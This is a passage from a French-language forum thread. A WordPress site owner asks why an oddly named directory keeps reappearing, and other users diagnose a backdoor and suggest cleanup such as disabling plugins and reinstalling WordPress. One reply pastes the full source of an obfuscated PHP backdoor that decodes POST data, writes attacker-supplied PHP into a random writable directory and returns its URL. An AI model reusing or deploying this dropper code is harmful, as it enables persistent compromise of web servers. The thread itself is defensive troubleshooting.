Répertoire qui se créé tout seul

Bonjour,
J'ai sur un site wordpress un répertoire qui se créé tout seul (je le vois par Filezilla),
je le supprime, mais il revient… J'ai vérifié les fichiers index.php, .htaccess, wp-conf,… pas de problèmes…
Que faire ? qui pourrait créer ce répertoire et il sert à quoi faire… De temps en temps j'ai un affichage bizarre.
J'ai changé les mots de passe ftp, ou Base de données, mais il revient sans cesse.
Les mises à jour de Wordpress, plugin ou thèmes sont faites régulièrement… Cela fait plusieurs semaines que cela dure…
Quelqu'un peut m'aider ?
Merci


qui pourrait créer ce répertoire


Un plugin ou un piratage.
Comment s'appelle ce répertoire et que contient-il ?

Il s'appelle 974it0ej
Il y a un répertoire Cache (vide) et un fichier index.php (avec un programme.)
J'ai vidé le fichier index…
Je vais surveiller.
D'après moi c'est un piratage… Mais bon… si quelqu'un a une idée… Merci


974it0ej


A mon avis aucun plugin ne créerait un répertoire avec ce nom.
Il est en effet fort probable que votre site est piraté.
Si vous n'y remédiez pas OVH a le droit de vous le suspendre.

Ok, mais comment y remédier… c'est la demande de ce post…


Ok, mais comment y remédier..


Si je vous dis de tout effacer, et réinstaller à partir d'une sauvegarde en votre possession, cela vous convient-il ?

Qui me dit que la sauvegarde n'est pas polluée… J'hésite…


Qui me dit que la sauvegarde n'est pas polluée... J'hésite...


En effet. Je ne pensais pas aux sauvegardes automatiques J-1, J-2 ... d'OVH car c'est évidemment trop récent.

C'est clairement un backdoor qui a été installé. J'ai déjà vu ça, c'est la plaie à virer (mais pas impossible). Il faut trouver le fichier php qui crée ces trucs parasites, c'est sûrement dans un répertoire d'un plugin.

J'ai même gardé un souvenir d'un fichier virus car ça semblait intéressant à étudier :


foreach ($_POST as $session_key => $value)
{
if (strlen($session_key) == 16)
{
$value = str_split(rawurldecode(str_rot13($value)));
$session_key = array_slice(str_split(str_repeat($session_key, (count($value)/16)+1)), 0, count($value));

function encoder($val, $index, $session_key)
{
$auth = "jkyvbygiqjxrirgl";
return $val ^ $auth[$index % strlen($auth)] ^ $session_key;
}

$value = implode("", array_map("encoder", array_values($value), array_keys($value), array_values($session_key)));

$value = @unserialize($value);

if (@is_array($value))
{
$key = array_keys($value);
$value = $value[$key[0]];

if ($value === $key[0])
{
echo @serialize(Array("php" => @phpversion(), ));exit();
}
else {
function listdirs($dir)
{
static $alldirs = array();
$dirs = glob($dir . '/*', GLOB_ONLYDIR);
if (count($dirs) > 0) {
foreach ($dirs as $d) {
if (@is_writable($d)) {
$alldirs = $d;
}
}
}
foreach ($dirs as $dir) listdirs($dir);
return $alldirs;
}

$docroot = $_SERVER["DOCUMENT_ROOT"];

$dirs = listdirs($docroot);
$key = array_rand($dirs);
$dest = $dirs[$key] . "/" . substr(md5(time()), 0, 8) . ".php";

@file_put_contents($dest, $value);

echo "http://" . $_SERVER["HTTP_HOST"] . substr($dest, strlen($docroot));

exit();
}
}
}
}

Merci, c'est ce à quoi je pensais.
J'ai sauvé sur mon disque local les fichiers, mais je ne sais pas quoi chercher à l'intérieur des fichiers…
J'ai essayé avec le nom du répertoire créé, mais rien trouvé…
Je ne suis pas compétent en php !
Une idée de mot qui pourrait être à chercher ? "encoder" ?
Merci de votre aide


je ne sais pas quoi chercher à l'intérieur des fichiers


La créativité des hackers n'a pas de limites.

Vous pouvez désactiver tous les plugins en une fois, en renommant le répertoire plugins en autre chose.

Vous pouvez planquer tous les fichiers php et débarquer une version fraîche de Wordpress par dessus.

Votre wp-config.php (planqué) est à remettre à sa place, le répertoire wp-content est normalement intact, il reste un risque d'avoir des éléments hostiles cachés dans la base de données...

Il n'y a aucune règle générale en la matière et l'expérience est évidemment un avantage.



Vous pouvez renommer tous les fichiers .php en .suspect, et